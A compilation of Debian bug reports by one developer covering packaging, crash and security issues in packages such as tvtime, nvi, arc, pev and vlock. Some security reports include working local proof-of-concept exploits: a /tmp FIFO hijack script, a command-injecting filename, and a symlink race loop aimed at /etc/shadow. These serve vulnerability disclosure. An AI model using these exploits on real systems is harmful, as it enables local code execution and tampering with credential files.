Bug#1018975: mingetty: no Homepage field
Source: mingetty Version: 1.08-4 Severity: wishlist Please add Homepage: https://sourceforge.net/projects/mingetty/ to debian/control. -- Jakub Wilk
Bug#1018973: mingetty: inconsistent /dev/vcsa* permissions
Package: mingetty Version: 1.08-4 $ ls -l /dev/vcsa* crw-rw 1 root tty 7, 128 2022-09-02 11:04 /dev/vcsa crw--- 1 root sys 7, 129 2022-09-02 11:04 /dev/vcsa1 crw-rw 1 root tty 7, 138 2022-09-02 21:43 /dev/vcsa10 crw-rw 1 root tty 7, 139 2022-09-02 11:04 /dev/vcsa11 crw-rw 1 root tty 7, 140 2022-09-02 11:04 /dev/vcsa12 crw--- 1 root sys 7, 130 2022-09-02 11:04 /dev/vcsa2 crw-rw 1 root tty 7, 131 2022-09-02 11:04 /dev/vcsa3 ... This is a weird mixture of root:tty 660 and root:sys 600. I believe this is caused by 204967-resetpermissions.patch. This patch might have made sense in 1990s when login(1) was changing ownership of /dev/vcsaN devices to the logged in user; but it doesn't serve any purpose these days. Please drop it. -- System Information: Architecture: i386 Versions of packages mingetty depends on: ii libc6 2.34-7 -- Jakub Wilk
Bug#943695: didjvu: FTBFS: ERROR: tests.test_timestamp.test_timezones
* Santiago Vila , 2019-11-21, 13:55: you seem to be the upstream author, Indeed. would you consider adopting it? No. Sorry! -- Jakub Wilk
Bug#941979: adequate: ldd -r …: setting effective gid to 32767: Invalid argument at /usr/bin/adequate line 1070
* Thorsten Glaser , 2019-10-08, 13:57: setting effective gid to 32767: Invalid argument at /usr/bin/adequate line 1070. That's probably #941985. -- Jakub Wilk
Bug#924076: tvtime: insecure use of /tmp
Hi Helge! * Helge Kreutzmann , 2019-03-23, 20:48: +/* Create a secure private temporary directory */ +fifosdir = mkdtemp(FIFODIR "tvtimeXX"); The mkdtemp(2) man page says: "Since it will be modified, template must not be a string constant, but should be declared as a character array." This is the reason it segfaults. Also, slash is missing between FIFODIR and "tvtime". You would need something like this: char *fifosdir; char fifosdir_buf[] = FIFODIR "/tvtimeXX"; fifosdir = mkdtemp(fifosdir_buf); So (with the addition of error handling) this would fix insecure use of /tmp; but it also breaks communication between tvtime-command(1) and tvtime(1). They need to use the same fifo to communicate, but mkdtemp() ensures that this is never the case: $ tvtime-command QUIT Reading configuration from /etc/tvtime/tvtime.xml Reading configuration from /home/jwilk/.tvtime/tvtime.xml tvtime-command: Cannot open /tmp/tvtimeHH48wA/.TV-jwilk/tvtimefifo-borsuk: No such file or directory It would be best to avoid using /tmp for fifos. tvtime already falls back to $HOME when /tmp couldn't be used (grep for "put the fifo in $HOME" in src/utils.c), to this should be a matter of disabling the /tmp codepath. -- Jakub Wilk
Bug#924076: tvtime: insecure use of /tmp
Package: tvtime Version: 1.0.11-4 Severity: grave Tags: security tvtime uses /tmp/.TV-/ as a temporary directory, even when it belongs to another (potentially malicious) user. Local attacker can exploit this bug to execute arbitrary code in the context of a tvtime user. I've attached a proof-of-concept exploit. -- Jakub Wilk #!/bin/sh set -e -u if ! command -v xeyes > /dev/null then printf 'xeyes(1) not found. Please install x11-apps.\n' >&2 exit 1 fi cd /tmp basedir=$(mktemp -d tvtime-exploit.XX) chmod 755 "$basedir" mkfifo -m 644 "$basedir/cmd" mkfifo -m 666 "$basedir/ratelim" hostname=$(hostname) users=$(getent passwd | cut -d: -f1) for user in $users do userdir=".TV-$user" rm -rf "$userdir" || true # maybe stale dir from the previous exploit run? if ! mkdir -m 755 "$userdir" then printf 'Failed to mount the exploit against %s; Maybe try again after reboot?\n' "$user" continue fi ln "$basedir/cmd" "$userdir/tvtimefifo-$hostname" done while true do printf 'Waiting for the victim to run tvtime...' "$0" >&2 printf 'RUN_COMMAND xeyes && echo x > /tmp/%s; true\n' "$basedir/ratelim" > "$basedir/cmd" printf '\n' >&2 read x < "$basedir/ratelim" done
Bug#924041: tvtime(1) man page: bad path in FILES
Package: tvtime Version: 1.0.11-4 The first item in the FILES section of the tvtime(1) manual page is: /tvtime/tvtime.xml This file doesn't exist of course. I think it should be: /etc/tvtime/tvtime.xml -- Jakub Wilk
Bug#920915: /usr/share/doc/lighttpd/ssl.txt woefully out of date
Package: lighttpd-doc Version: 1.4.53-1 /usr/share/doc/lighttpd/ssl.txt reads: lighttpd supports SSLv2 and SSLv3 if it is compiled against openssl. Neither SSLv2 nor SSLv3 are enabled in OpenSSL these days. The HTTPS protocol does not allow you to use name-based virtual hosting with SSL. If you want to run multiple SSL servers with one lighttpd instance you must use IP-based virtual hosting This is no longer true. Lighttpd supports SNI since 1.4.24. -- Jakub Wilk
Bug#919473: zapping: Settings schema 'net.sf.Zapping.plugins.teletext' does not contain a key named 'method'
Package: zapping Version: 0.10~cvs6-15 Severity: grave zapping doesn't start: $ zapping (zapping:3191): dbind-WARNING **: 13:01:17.865: Error retrieving accessibility bus address: org.freedesktop.DBus.Error.ServiceUnknown: The name org.a11y.Bus was not provided by any .service files (zapping:3191): GLib-GIO-ERROR **: 13:01:18.527: Settings schema 'net.sf.Zapping.plugins.teletext' does not contain a key named 'method' Trace/breakpoint trap -- System Information: Architecture: i386 Versions of packages zapping depends on: ii dconf-gsettings-backend [gsettings-backend] 0.30.1-2 ii libc62.28-5 ii libcairo21.16.0-2 ii libgdk-pixbuf2.0-0 2.38.0+dfsg-7 ii libglib2.0-0 2.58.2-3 ii libgtk-3-0 3.24.3-1 ii libjpeg62-turbo 1:1.5.2-2+b1 ii liblirc-client0 0.10.1-5 ii libpango-1.0-0 1.42.4-6 ii libpangocairo-1.0-0 1.42.4-6 ii libpng16-16 1.6.36-3 ii libpython2.7 2.7.15-5 ii libx11-6 2:1.6.7-1 ii libxext6 2:1.3.3-1+b2 ii libxinerama1 2:1.1.4-1 ii libxml2 2.9.4+dfsg1-7+b3 ii libxmu6 2:1.1.2-2 ii libxv1 2:1.0.11-1 ii libxxf86dga1 2:1.1.4-1+b3 ii libxxf86vm1 1:1.1.4-1+b2 ii libzvbi0 0.2.35-15 Versions of packages zapping recommends: pn gconf2 -- Jakub Wilk
Bug#769719: nviboot fails to send recovery mail
Control: tags -1 + security * Adam M. Costello <bug.amc...@nicemice.net>, 2014-11-15, 20:47: (su - nobody -s /bin/sh -c "$SENDMAIL $owner < $i" &) /dev/null 2>&0 Note that "$i" is a name of a file any user can create. This allows executing arbitrary code as user "nobody". PoC exploit: $ echo 'X-vi-recover-path: /etc/fstab' > '/var/tmp/vi.recover/recover.moo;z=$(pwd|head${IFS}-c1);apt-get${IFS}moo>${z}tmp${z}pwned' -- Jakub Wilk
Bug#868554: pehash: segmentation fault
Control: forwarded -1 https://github.com/merces/pev/pull/110 I've forwarded the patch upstream. -- Jakub Wilk
Bug#868554: pehash: segmentation fault
Control: tags -1 + patch The attached patch fixes it for me. The const annotation is bogus, because this variable is going to be modified in the next line. * Adrian Bunk <b...@debian.org>, 2017-07-16, 19:10: $ pescan test.exe file entropy:5.924796 (normal) fpu anti-disassembly:no imagebase: normal entrypoint: normal DOS stub:normal TLS directory: found - 1 function(s) timestamp: normal section count: 15 (high) Segmentation fault Good catch. My patch seems to fix this, too. -- Jakub Wilk --- a/src/output.c +++ b/src/output.c @@ -288,7 +288,7 @@ scope->depth = scope_depth + 1; if (scope_depth > 0) { - output_scope_t * const parent_scope = NULL; + output_scope_t * parent_scope = NULL; STACK_PEEK(g_scope_stack, (void *)_scope); scope->parent_type = parent_scope->type; }
Bug#868554: pehash: segmentation fault
Package: pev Version: 0.80-2 pehash seems to crash on every file: $ echo 'int main(int argc, char **argv) {}' | i686-w64-mingw32-gcc -x c - -o test.exe $ pehash test.exe Segmentation fault Backtrace: #0 output_open_scope (scope_name=0x5655add8 "file", scope_type=OUTPUT_SCOPE_TYPE_OBJECT) at output.c:293 #1 0x56556f42 in main (argc=, argv=) at pehash.c:557 -- System Information: Architecture: i386 Versions of packages pev depends on: ii libc62.24-12 ii libssl1.0.2 1.0.2l-2 -- Jakub Wilk
Bug#838351: vlock: loading plugin 'nosysrq' failed: Permission denied
* Jakub Wilk <jw...@debian.org>, 2016-09-20, 10:35: $ vlock -as vlock: loading plugin 'nosysrq' failed: Permission denied It turns out that after upgrading from -6 to -7 I'm no longer in the group vlock. :-O And that's apparently because -6's postrm removes the vlock group, even on upgrade. Yay... -- Jakub Wilk
Bug#838351: vlock: loading plugin 'nosysrq' failed: Permission denied
Package: vlock Version: 2.2.2-7 Usertags: serious $ vlock -as vlock: loading plugin 'nosysrq' failed: Permission denied -- System Information: Debian Release: stretch/sid APT prefers unstable APT policy: (990, 'unstable'), (500, 'experimental') Architecture: i386 (x86_64) Foreign Architectures: amd64 Kernel: Linux 4.7.0-1-amd64 (SMP w/2 CPU cores) Locale: LANG=C, LC_CTYPE=pl_PL.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash Init: sysvinit (via /sbin/init) Versions of packages vlock depends on: ii adduser 3.115 ii libc6 2.24-3 ii libpam-modules 1.1.8-3.3 ii libpam0g1.1.8-3.3 -- Jakub Wilk
Bug#809830: Please, allow licensing change (was: wtop: dubious packaging license change)
* Eriberto Mota <eribe...@debian.org>, 2016-08-28, 10:44: I would like to change the packaging to BSD-3-Clause to make the upstream source code and packaging full compliant. To do it, I need your agreement. Can you tell me about your opinion? I don't recall any contributions to this package, but yes, I'm okay with relicensing. -- Jakub Wilk
Bug#829027: libstroke: missing/obsolete coypright information
* Vincent Lefevre <vinc...@vinc17.net>, 2016-06-30, 14:34: The Debian policy manual says: "In addition, the copyright file must say where the upstream sources (if any) were obtained, and should name the original authors." This clause is made up of two requirements: 1. "the copyright file must say where the upstream sources ... were obtained" 2. "the copyright file ... should name the original authors" libstroke does not violate the first requirement: the copyright file does say where the upstream sources /were/ obtained, even though they can no longer be obtained there. According to archive.org, http://www.etla.net/ stopped mentioning libstroke somewhere between February and March 1999. The current upstream release was first uploaded in 2002, when the link was already invalid. I thought that it would still be needed as long as the package is in Debian (so that users could check too) so that the location should implicitly still be valid. No, there's no such requirement. -- Jakub Wilk
Bug#821017: acheck: Unescaped left brace in regex is deprecated
Package: acheck Version: 0.5.2 $ acheck /dev/null Unescaped left brace in regex is deprecated, passed through in regex; marked by <-- HERE in m/\(\?{ <-- HERE / at /usr/share/perl5/ACheck/Parser.pm line 126. Unescaped left brace in regex is deprecated, passed through in regex; marked by <-- HERE in m/\(\?\?{ <-- HERE / at /usr/share/perl5/ACheck/Parser.pm line 127. ERROREmpty file -- System Information: Debian Release: stretch/sid APT prefers unstable APT policy: (990, 'unstable'), (500, 'experimental') Architecture: i386 (x86_64) Foreign Architectures: amd64 Kernel: Linux 4.4.0-1-amd64 (SMP w/2 CPU cores) Locale: LANG=C, LC_CTYPE=pl_PL.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash Init: sysvinit (via /sbin/init) Versions of packages acheck depends on: ii acheck-rules0.3.3 ii libconfig-general-perl 2.60-1 ii libterm-size-perl 0.207-1+b3 ii perl5.22.1-9 Versions of packages acheck recommends: ii liblocale-gettext-perl 1.07-1+b1 ii libtext-aspell-perl 0.09-1.1+b1 -- Jakub Wilk
Bug#814792: *** stack smashing detected ***: /usr/lib/plan9/bin/sha1sum terminated
Package: 9base Version: 1:6-7 $ printf mooo | /usr/lib/plan9/bin/sha1sum *** stack smashing detected ***: /usr/lib/plan9/bin/sha1sum terminated === Backtrace: = /lib/i386-linux-gnu/i686/cmov/libc.so.6(+0x68f8b)[0xf75b1f8b] /lib/i386-linux-gnu/i686/cmov/libc.so.6(__fortify_fail+0x37)[0xf7641a27] /lib/i386-linux-gnu/i686/cmov/libc.so.6(+0xf89e8)[0xf76419e8] /usr/lib/plan9/bin/sha1sum[0x8048b6b] /usr/lib/plan9/bin/sha1sum[0x804ab78] /usr/lib/plan9/bin/sha1sum[0x8049366] /usr/lib/plan9/bin/sha1sum[0x804adde] /usr/lib/plan9/bin/sha1sum[0x804ad56] /usr/lib/plan9/bin/sha1sum[0x8048c1c] /usr/lib/plan9/bin/sha1sum[0x8048dae] /usr/lib/plan9/bin/sha1sum[0x80489db] /lib/i386-linux-gnu/i686/cmov/libc.so.6(__libc_start_main+0xf7)[0xf7561527] /usr/lib/plan9/bin/sha1sum[0x8048a18] === Memory map: 08048000-08051000 r-xp fb:00 4591258 /usr/lib/plan9/bin/sha1sum 08051000-08052000 r--p 8000 fb:00 4591258 /usr/lib/plan9/bin/sha1sum 08052000-08053000 rw-p 9000 fb:00 4591258 /usr/lib/plan9/bin/sha1sum 09255000-09276000 rw-p 00:00 0 [heap] f7512000-f752e000 r-xp fb:00 6553771 /lib/i386-linux-gnu/libgcc_s.so.1 f752e000-f752f000 rw-p 0001b000 fb:00 6553771 /lib/i386-linux-gnu/libgcc_s.so.1 f7548000-f7549000 rw-p 00:00 0 f7549000-f76fa000 r-xp fb:00 6553892 /lib/i386-linux-gnu/i686/cmov/libc-2.22.so f76fa000-f76fb000 ---p 001b1000 fb:00 6553892 /lib/i386-linux-gnu/i686/cmov/libc-2.22.so f76fb000-f76fd000 r--p 001b1000 fb:00 6553892 /lib/i386-linux-gnu/i686/cmov/libc-2.22.so f76fd000-f76fe000 rw-p 001b3000 fb:00 6553892 /lib/i386-linux-gnu/i686/cmov/libc-2.22.so f76fe000-f7701000 rw-p 00:00 0 f7701000-f774c000 r-xp fb:00 6554098 /lib/i386-linux-gnu/i686/cmov/libm-2.22.so f774c000-f774d000 ---p 0004b000 fb:00 6554098 /lib/i386-linux-gnu/i686/cmov/libm-2.22.so f774d000-f774e000 r--p 0004b000 fb:00 6554098 /lib/i386-linux-gnu/i686/cmov/libm-2.22.so f774e000-f774f000 rw-p 0004c000 fb:00 6554098 /lib/i386-linux-gnu/i686/cmov/libm-2.22.so f7767000-f776a000 rw-p 00:00 0 f776a000-f776c000 r--p 00:00 0 [vvar] f776c000-f776d000 r-xp 00:00 0 [vdso] f776d000-f778e000 r-xp fb:00 6553948 /lib/i386-linux-gnu/ld-2.22.so f778e000-f778f000 rw-p 00:00 0 f778f000-f779 r--p 00021000 fb:00 6553948 /lib/i386-linux-gnu/ld-2.22.so f779-f7791000 rw-p 00022000 fb:00 6553948 /lib/i386-linux-gnu/ld-2.22.so ffc0-ffc21000 rw-p 00:00 0 [stack] Aborted -- System Information: Debian Release: stretch/sid APT prefers unstable APT policy: (990, 'unstable'), (500, 'experimental') Architecture: i386 (x86_64) Foreign Architectures: amd64 Kernel: Linux 4.3.0-1-amd64 (SMP w/2 CPU cores) Locale: LANG=C, LC_CTYPE=pl_PL.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash Init: sysvinit (via /sbin/init) Versions of packages 9base depends on: ii libc6 2.22-0experimental1 -- Jakub Wilk
Bug#812986: libmeanwhile-dev: arch-dependent files in "Multi-Arch: same" package
Package: libmeanwhile-dev Version: 1.0.2-7 Severity: important User: multiarch-de...@lists.alioth.debian.org Usertags: multiarch libmeanwhile-dev is marked as "Multi-Arch: same", but the following files are architecture-dependent: /usr/share/doc/libmeanwhile-dev/samples/Makefile.gz /usr/share/doc/libmeanwhile-dev/samples/build An example diff between i386 and amd64 (after ungzipping) is attached. -- Jakub Wilk diff -ur libmeanwhile-dev_1.0.2-7_i386/usr/share/doc/libmeanwhile-dev/samples/Makefile libmeanwhile-dev_1.0.2-7_amd64/usr/share/doc/libmeanwhile-dev/samples/Makefile --- libmeanwhile-dev_1.0.2-7_i386/usr/share/doc/libmeanwhile-dev/samples/Makefile 2016-01-28 02:16:04.0 +0100 +++ libmeanwhile-dev_1.0.2-7_amd64/usr/share/doc/libmeanwhile-dev/samples/Makefile 2016-01-28 01:51:29.0 +0100 @@ -87,8 +87,8 @@ NORMAL_UNINSTALL = : PRE_UNINSTALL = : POST_UNINSTALL = : -build_triplet = i586-pc-linux-gnu -host_triplet = i586-pc-linux-gnu +build_triplet = x86_64-pc-linux-gnu +host_triplet = x86_64-pc-linux-gnu subdir = samples ACLOCAL_M4 = $(top_srcdir)/aclocal.m4 am__aclocal_m4_deps = $(top_srcdir)/configure.ac @@ -150,18 +150,18 @@ am__tagged_files = $(HEADERS) $(SOURCES) $(TAGS_FILES) $(LISP) am__DIST_COMMON = $(srcdir)/Makefile.in $(srcdir)/build.in README DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST) -ACLOCAL = ${SHELL} /build/meanwhile-mCVFP8/meanwhile-1.0.2/missing aclocal-1.15 +ACLOCAL = ${SHELL} /scratch/packages/tmp/meanwhile-1.0.2/missing aclocal-1.15 AMTAR = $${TAR-tar} AM_DEFAULT_VERBOSITY = 1 -AR = i586-linux-gnu-ar -AUTOCONF = ${SHELL} /build/meanwhile-mCVFP8/meanwhile-1.0.2/missing autoconf -AUTOHEADER = ${SHELL} /build/meanwhile-mCVFP8/meanwhile-1.0.2/missing autoheader -AUTOMAKE = ${SHELL} /build/meanwhile-mCVFP8/meanwhile-1.0.2/missing automake-1.15 -AWK = mawk -CC = i586-linux-gnu-gcc +AR = x86_64-linux-gnu-ar +AUTOCONF = ${SHELL} /scratch/packages/tmp/meanwhile-1.0.2/missing autoconf +AUTOHEADER = ${SHELL} /scratch/packages/tmp/meanwhile-1.0.2/missing autoheader +AUTOMAKE = ${SHELL} /scratch/packages/tmp/meanwhile-1.0.2/missing automake-1.15 +AWK = gawk +CC = x86_64-linux-gnu-gcc CCDEPMODE = depmode=gcc3 CFLAGS = -Wall -g -O2 -fstack-protector-strong -Wformat -Werror=format-security -CPP = i586-linux-gnu-gcc -E +CPP = x86_64-linux-gnu-gcc -E CPPFLAGS = -Wdate-time -D_FORTIFY_SOURCE=2 CYGPATH_W = echo DEFS = -DPACKAGE_NAME=\"\" -DPACKAGE_TARNAME=\"\" -DPACKAGE_VERSION=\"\" -DPACKAGE_STRING=\"\" -DPACKAGE_BUGREPORT=\"\" -DPACKAGE_URL=\"\" -DPACKAGE=\"meanwhile\" -DVERSION=\"1.0.2\" -DSTDC_HEADERS=1 -DHAVE_SYS_TYPES_H=1 -DHAVE_SYS_STAT_H=1 -DHAVE_STDLIB_H=1 -DHAVE_STRING_H=1 -DHAVE_MEMORY_H=1 -DHAVE_STRINGS_H=1 -DHAVE_INTTYPES_H=1 -DHAVE_STDINT_H=1 -DHAVE_UNISTD_H=1 -DHAVE_DLFCN_H=1 -DLT_OBJDIR=\".libs/\" -DSTDC_HEADERS=1 -DHAVE_GLIB=1 @@ -175,7 +175,7 @@ EGREP = /bin/grep -E EXEEXT = FGREP = /bin/grep -F -GLIB_CFLAGS = -I/usr/include/glib-2.0 -I/usr/lib/i386-linux-gnu/glib-2.0/include +GLIB_CFLAGS = -I/usr/include/glib-2.0 -I/usr/lib/x86_64-linux-gnu/glib-2.0/include GLIB_LIBS = -lglib-2.0 GLIB_VERSION = 2.0.0 GREP = /bin/grep @@ -184,7 +184,7 @@ INSTALL_PROGRAM = ${INSTALL} INSTALL_SCRIPT = ${INSTALL} INSTALL_STRIP_PROGRAM = $(install_sh) -c -s -LD = /usr/bin/ld +LD = /usr/bin/ld -m elf_x86_64 LDFLAGS = -Wl,-z,relro LIBM = -lm LIBOBJS = @@ -194,7 +194,7 @@ LN_S = ln -s LTLIBOBJS = MAINT = # -MAKEINFO = ${SHELL} /build/meanwhile-mCVFP8/meanwhile-1.0.2/missing makeinfo +MAKEINFO = ${SHELL} /scratch/packages/tmp/meanwhile-1.0.2/missing makeinfo MANIFEST_TOOL = : MKDIR_P = /bin/mkdir -p MW_MAILME = 1 @@ -202,7 +202,7 @@ MW_SO_VERSION = 1:2:0 NM = /usr/bin/nm -B NMEDIT = -OBJDUMP = i586-linux-gnu-objdump +OBJDUMP = x86_64-linux-gnu-objdump OBJEXT = o OTOOL = OTOOL64 = @@ -214,21 +214,21 @@ PACKAGE_URL = PACKAGE_VERSION = PATH_SEPARATOR = : -PKG_CONFIG = /usr/bin/i586-linux-gnu-pkg-config +PKG_CONFIG = /usr/bin/x86_64-linux-gnu-pkg-config PKG_CONFIG_LIBDIR = PKG_CONFIG_PATH = -RANLIB = i586-linux-gnu-ranlib +RANLIB = x86_64-linux-gnu-ranlib RELEASE = 1 SED = /bin/sed SET_MAKE = SHELL = /bin/bash -STRIP = i586-linux-gnu-strip +STRIP = x86_64-linux-gnu-strip VERSION = 1.0.2 WITH_DOC_SUBPACKAGE = 1 -abs_builddir = /build/meanwhile-mCVFP8/meanwhile-1.0.2/samples -abs_srcdir = /build/meanwhile-mCVFP8/meanwhile-1.0.2/samples -abs_top_builddir = /build/meanwhile-mCVFP8/meanwhile-1.0.2 -abs_top_srcdir = /build/meanwhile-mCVFP8/meanwhile-1.0.2 +abs_builddir = /scratch/packages/tmp/meanwhile-1.0.2/samples +abs_srcdir = /scratch/packages/tmp/meanwhile-1.0.2/samples +abs_top_builddir = /scratch/packages/tmp/meanwhile-1.0.2 +abs_top_srcdir = /scratch/packages/tmp/meanwhile-1.0.2 ac_ct_AR = ac_ct_CC = ac_ct_DUMPBIN = @@ -238,9 +238,9 @@ am__tar = $${TAR-tar} chof - "$$t
Bug#798822: ekg2: mojibake in debian/copyright
Source: ekg2 Version: 1:0.4~pre+20120506.1-10 Tags: patch -- Jakub Wilk diff --git a/debian/copyright b/debian/copyright --- a/debian/copyright +++ b/debian/copyright @@ -317,7 +317,7 @@ plugins/sniff/sniff_gg.h contains code: (C) Copyright 2001-2003 Wojtek Kaniewski <wojte...@irc.pl> - Robert J. WoĹşny <spe...@ziew.org> + Robert J. Woźny <spe...@ziew.org> Arkadiusz Miśkiewicz <ar...@pld-linux.org> Tomasz Chiliński <chi...@chilan.com> Piotr Wysocki <wy...@linux.bydg.org>
Bug#774527: arc: directory traversal
Package: arc Version: 5.21q-1 Tags: security arc is susceptible to directory traversal: $ pwd /home/jwilk $ arc x traversal.arc Extracting file: /tmp/moo $ ls -l /tmp/moo -rw-r--r-- 1 jwilk users 4 Jan 4 2015 /tmp/moo The script I used to create the test case is available at: https://bitbucket.org/jwilk/path-traversal-samples -- System Information: Debian Release: 8.0 APT prefers unstable APT policy: (990, 'unstable'), (500, 'experimental') Architecture: i386 (x86_64) Foreign Architectures: amd64 Kernel: Linux 3.2.0-4-amd64 (SMP w/2 CPU cores) Locale: LANG=C, LC_CTYPE=pl_PL.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash Init: sysvinit (via /sbin/init) Versions of packages arc depends on: ii libc6 2.19-13 -- Jakub Wilk traversal.arc Description: Binary data
Bug#774439: arc: buffer over-read
Package: arc Version: 5.21q-1 Usertags: afl ARC crashes when trying to test archive integrity of the attached file: $ arc t crash.arc Testing file: moo Segmentation fault gdb suggests it's a buffer over-read: Program received signal SIGSEGV, Segmentation fault. 0x0804f89f in putb_ncr (buf=0x805f088 , len=4294967295, t=0x0) at arcunp.c:220 220 if (buf[i] != DLE) (gdb) bt #0 0x0804f89f in putb_ncr (buf=0x805f088 , len=4294967295, t=0x0) at arcunp.c:220 #1 0x0804f59d in unpack (f=0x8077090, t=0x0, hdr=0xd72c) at arcunp.c:86 #2 0x0804f40f in tstarc () at arctst.c:41 #3 0x0804987a in main (num=3, arg=0xd8a4) at arc.c:395 (gdb) print i $3 = 102264 (gdb) print buf[i] Cannot access memory at address 0x8078000 (gdb) print buf[i-1] $4 = 0 '\000' This bug was found using American fuzzy lop: https://packages.debian.org/experimental/afl Disclaimer: I don't have spare CPU cycles, so I fuzzed only till the first crash (which took about a minute). It's likely that extensive fuzzing would uncover more interesting crashers. I'd encourage ARC maintainers to perform fuzzing with AFL on their own. :-) -- System Information: Debian Release: 8.0 APT prefers unstable APT policy: (990, 'unstable'), (500, 'experimental') Architecture: i386 (x86_64) Foreign Architectures: amd64 Kernel: Linux 3.2.0-4-amd64 (SMP w/2 CPU cores) Locale: LANG=C, LC_CTYPE=pl_PL.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash Init: sysvinit (via /sbin/init) Versions of packages arc depends on: ii libc6 2.19-13 -- Jakub Wilk crash.arc Description: Binary data
Bug#774438: arc: does not honour DEB_BUILD_OPTIONS=nostrip
Source: arc Version: 5.21q-1 Tags: patch I rebuilt the package with DEB_BUILD_OPTIONS=nostrip, but the resulting binary package was still stripped. The attached patch seems to fix it. -- Jakub Wilk --- a/Makefile +++ b/Makefile @@ -132,8 +132,8 @@ rm -rf .dist install: all - install -s -m 0755 -D arc $(DESTDIR)$(PREFIX)/bin/arc - install -s -m 0755 -D marc $(DESTDIR)$(PREFIX)/bin/marc + install -m 0755 -D arc $(DESTDIR)$(PREFIX)/bin/arc + install -m 0755 -D marc $(DESTDIR)$(PREFIX)/bin/marc install -m 0644 -D arc.1 $(DESTDIR)$(PREFIX)/share/man/man1/arc.1 install -m 0644 -D marc.1 $(DESTDIR)$(PREFIX)/share/man/man1/marc.1
Bug#771375: nvi: insecure use of /var/tmp
* Jakub Wilk jw...@debian.org, 2014-11-28, 23:19: nvi does this in postinst: if [[ -L /var/tmp/vi.recover || \ -e /var/tmp/vi.recover ! -d /var/tmp/vi.recover ]]; then echo Cannot create recovery directory /var/tmp/vi.recover 12 exit 1 fi [ -d /var/tmp/vi.recover ] || mkdir -p /var/tmp/vi.recover chown root:root /var/tmp/vi.recover chmod 1777 /var/tmp/vi.recover This is racy. If there is no symlink protection enabled (/proc/sys/fs/protected_symlinks), malicious local user could trick this code into chmodding arbitrary files. PoC exploit is attached. On a test machine I was able to get /etc/shadow pwned with probability ~0.1%. -- Jakub Wilk #include sys/stat.h #include unistd.h int main(int argc, char **argv) { const char *f = /var/tmp/vi.recover; while (1) { symlink(/etc/shadow, f); unlink(f); mkdir(f, 0777); rmdir(f); } }
Bug#771375: nvi: insecure use of /var/tmp
Package: nvi Version: 1.81.6-11 Tags: security nvi does this in postinst: if [[ -L /var/tmp/vi.recover || \ -e /var/tmp/vi.recover ! -d /var/tmp/vi.recover ]]; then echo Cannot create recovery directory /var/tmp/vi.recover 12 exit 1 fi [ -d /var/tmp/vi.recover ] || mkdir -p /var/tmp/vi.recover chown root:root /var/tmp/vi.recover chmod 1777 /var/tmp/vi.recover This is racy. If there is no symlink protection enabled (/proc/sys/fs/protected_symlinks), malicious local user could trick this code into chmodding arbitrary files. -- Jakub Wilk -- To UNSUBSCRIBE, email to debian-qa-packages-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: https://lists.debian.org/20141128221907.ga8...@jwilk.net
Bug#754594: vlock: non-existent plugin - *** buffer overflow detected ***
+nmu3 ii libc6 2.19-5 ii libpam-modules 1.1.8-3 ii libpam0g1.1.8-3 -- Jakub Wilk -- To UNSUBSCRIBE, email to debian-qa-packages-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: https://lists.debian.org/20140712204517.ga8...@jwilk.net
Bug#749177: libmilter1.0.1: arch-dependent file in Multi-Arch: same package
Package: libmilter1.0.1 Version: 8.14.4-6 Severity: important User: multiarch-de...@lists.alioth.debian.org Usertags: multiarch libmilter1.0.1 is marked as Multi-Arch: same, but the following file is architecture-dependent: /usr/share/bug/libmilter1.0.1/script An example diff between i386 and amd64 is attached. -- Jakub Wilk diff -ur libmilter1.0.1_8.14.4-6_i386/usr/share/bug/libmilter1.0.1/script libmilter1.0.1_8.14.4-6_amd64/usr/share/bug/libmilter1.0.1/script --- libmilter1.0.1_8.14.4-6_i386/usr/share/bug/libmilter1.0.1/script 2014-05-24 13:37:38.0 +0200 +++ libmilter1.0.1_8.14.4-6_amd64/usr/share/bug/libmilter1.0.1/script 2014-05-24 13:23:30.0 +0200 @@ -1,6 +1,6 @@ #!/bin/sh #- -# $Sendmail: sendmail.bug,v 8.14.4 2014-05-24 11:37:30 cowboy Exp $ +# $Sendmail: sendmail.bug,v 8.14.4 2014-05-24 11:23:27 cowboy Exp $ # # Copyright (c) 1998-2010 Richard Nelson. All Rights Reserved. #
Bug#725858: libwvstreams4.6-extras: incompatible licenses: OpenSSL + GPL
Package: libwvstreams4.6-extras Version: 4.6.1-6 Severity: serious On amd64, libwvstreams is linked with both OpenSSL and GNU Readline: $ readelf -d /usr/lib/libwvstreams.so.4.6 | grep -E 'ssl|readline' 0x0001 (NEEDED) Shared library: [libssl.so.1.0.0] 0x0001 (NEEDED) Shared library: [libreadline.so.6] -- Jakub Wilk -- To UNSUBSCRIBE, email to debian-qa-packages-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/20131009075717.ga5...@jwilk.net
Bug#717438: pdnsd does no more work in combination with resolvconf
* Antonio A. M. Kukul mkt...@gmail.com, 2013-09-20, 15:13: Changing this: server=$(pdnsd-ctl status|sed -ne '/^Global:$/,/^Server.*:$/s/.*Server ip.*: \(.*\)$/\1/p') to this server=$(pdnsd-ctl status|sed -ne '/^Global:$/,/^Server.*:$/s/.*Server ip.*: \(.*\)$/\1/ip') in both scripts, it now works fine. This is because the way of pdnsd-ctl status reports server ip, now it do that with the word ip capitalized: Your analysis is correct, but the fix isn't completely right. This is because case-sensitive matching is locale-dependent. For example, in Turkish i and I are different letters, so your fix wouldn't work in tr_TR locales. -- Jakub Wilk -- To UNSUBSCRIBE, email to debian-qa-packages-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/20131004134540.ga8...@jwilk.net
Bug#711216: libvigraimpex: FTBFS: No rule to make target `/usr/lib/libpython2.7.so'
